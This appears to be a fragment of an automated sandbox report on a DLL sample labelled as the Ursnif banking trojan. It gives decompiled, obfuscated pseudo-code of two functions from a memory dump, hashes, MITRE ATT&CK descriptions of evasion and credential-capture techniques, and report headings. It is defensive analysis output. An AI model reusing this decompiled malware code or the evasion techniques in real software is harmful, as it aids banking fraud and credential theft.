				_t73 = E031E7338((((_t60 - 0x00000001 + _t60 - 0x00000001 + 0x00000001 & 0x00000000) - 0xffffffff & 0xfffffbfb ^ 0xffffffff) + 0x574 & 0x00000001) - 0xfffffffffffffeed, _t80,  *((intOrPtr*)(_t80 + 0x41cdce)));
				_a4 = _a4 | _t73;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) ^ (_t81 | _a4) & _v12 ^ 0x00000000;
				_v8 = _v8 | 0xffffffe9;
				_v8 = 0xffffffff;
				 *(_t80 + 0x41c9d8) = _t73;
				 *(_t80 + 0x41c9d8) = 0xfffff81c;
				 *(_t80 + 0x41c9d8) = 0;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) & 0x00000440;
				_v12 = 0;
				_v12 = 0x3d2;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) - _t81 + 0xffffffff;
				_v12 = _v12 + 1;
				return 2;
			}

0x031e2566
0x031e2566
0x031e2573
0x031e2575
0x031e2578
0x031e2583
0x031e2587
0x031e258d
0x031e25a2
0x031e25b5
0x031e25bc
0x031e25bf
0x031e25c6
0x031e25e2
0x031e2600
0x031e2623
0x031e2628
0x031e262b
0x031e2637
0x031e263b
0x031e2642
0x031e2648
0x031e265e
0x031e2669
0x031e2675
0x031e2678
0x031e2680
0x031e2692
0x031e26a8

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d9f2a872924e3946419181a18b576f1bc412e886eb09c29eb84efba224b2e0d
Instruction ID: d323ffc0d63b9b40c353b34ba44d2158534cefec17bb1f3efc01b6cf138551b9
Opcode Fuzzy Hash: 2d9f2a872924e3946419181a18b576f1bc412e886eb09c29eb84efba224b2e0d
Instruction Fuzzy Hash: 533183B3C10605ABEB00CE78CD863CA7B74EF54374F298365AC38DE1D5D37986919A94

Uniqueness

Uniqueness Score: -1.00%

Function 031E92B2, Relevance: .1, Instructions: 78
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E031E92B2(signed int __eax, void* __ebx, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t68;
				void* _t85;
				void* _t86;
				signed int _t91;
				void* _t92;
				signed int _t97;
				signed int _t98;
				void* _t101;

				_t85 = __ebx;
				_t101 = __eax - 0x2bdf;
				_t68 = E031E1967(__eax, __ebx,  *((intOrPtr*)(__ebx + 0x41d155)));
				if(_t101 < 0) {
					_a8 = _a8 - 1;
				} else {
					_t91 = _t91 & 0x00000000;
					 *(__ebx + 0x41cd75) =  *(__ebx + 0x41cd75) ^ 0xfffffe87;
				}
				_t98 = _t97 ^ 0x000000ac;
				 *(_t85 + 0x41cd75) = _t98;
				_a8 = _a8 - 1;
				_v8 = _v8 ^ 0x00000001;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) ^ _t68;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + _t68 + 0xfffffe42;
				_a4 = _a4 & 0x000007d7;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + _t98 - 1;
				_v8 = _t86 + 1;
				_a8 = _a8 - 1;
				_v8 = _v8 ^ _t92 - 0xffffffff;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) & 0x00000000;
				 *(_t85 + 0x41cd75) = 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) - 1;
				_v8 = _v8 + 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) - 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) & 0xffffffff;
				_a8 = _a8 - _t91;
				_v8 = _v8 - 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + 0xffffffff;
				return (0xfffffffffffffdd8 ^ _t91) - 1;
			}

0x031e92b2
0x031e92bd
0x031e92c8
0x031e92cd
0x031e92e1
0x031e92cf
0x031e92cf
0x031e92d5
0x031e92d5
0x031e92e4
0x031e92ea
0x031e92f3
0x031e92f6
0x031e92fb
0x031e9306
0x031e9323
0x031e9344
0x031e934a
0x031e934d
0x031e9350
0x031e9353
0x031e935a
0x031e9375
0x031e9385
0x031e938e
0x031e9395
0x031e939d
0x031e93ad
0x031e93bd
0x031e93c0
0x031e93df

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377b6065eaa96f6382e610e702929000c340969e1a3c2249ec044ad4b0ffd56c
Instruction ID: 1b50ae77e7636bce3f030c0e62674b5151749d0e6ed9c5fa61dbcb6c58713f22
Opcode Fuzzy Hash: 377b6065eaa96f6382e610e702929000c340969e1a3c2249ec044ad4b0ffd56c
Instruction Fuzzy Hash: 9231AF32890B04EBFB04CF38D9857DA7BB0EF41329F54827AEC199D1DAE3794610DA55

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 0204.gif.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 5784 Parent PID: 5612

General

Chronological Activities

Analysis Process: cmd.exe PID: 5444 Parent PID: 5784

General

Chronological Activities

Analysis Process: rundll32.exe PID: 1488 Parent PID: 5784

Function 031E5F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Function 031E709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Function 031E1B1E, Relevance: 1.4, Strings: 1, Instructions: 109
COMMONCrypto

Function 031E3A14, Relevance: .9, Instructions: 925
COMMONCrypto

Function 031E5262, Relevance: .7, Instructions: 740
COMMONCrypto

Function 031E5378, Relevance: .7, Instructions: 726
COMMONCrypto

Function 031E31B3, Relevance: .6, Instructions: 646
COMMONCrypto

Function 031E3FAB, Relevance: .6, Instructions: 566
COMMONCrypto

Function 031E1CD0, Relevance: .6, Instructions: 565
COMMONCrypto

Function 031E43D8, Relevance: .4, Instructions: 371
COMMONCrypto

Function 031E5A25, Relevance: .3, Instructions: 281
COMMONCrypto

Function 031E2FAF, Relevance: .2, Instructions: 210
COMMONCrypto

Function 031E2A69, Relevance: .2, Instructions: 161
COMMONCrypto

Function 031E150C, Relevance: .1, Instructions: 104
COMMONCrypto

Function 031E1967, Relevance: .1, Instructions: 101
COMMONCrypto

Function 031E88BA, Relevance: .1, Instructions: 95
COMMONCrypto

Function 031E27D4, Relevance: .1, Instructions: 93
COMMONCrypto

Function 031E13C5, Relevance: .1, Instructions: 90
COMMONCrypto

Function 031E2566, Relevance: .1, Instructions: 84
COMMONCrypto

Function 031E92B2, Relevance: .1, Instructions: 78
COMMONCrypto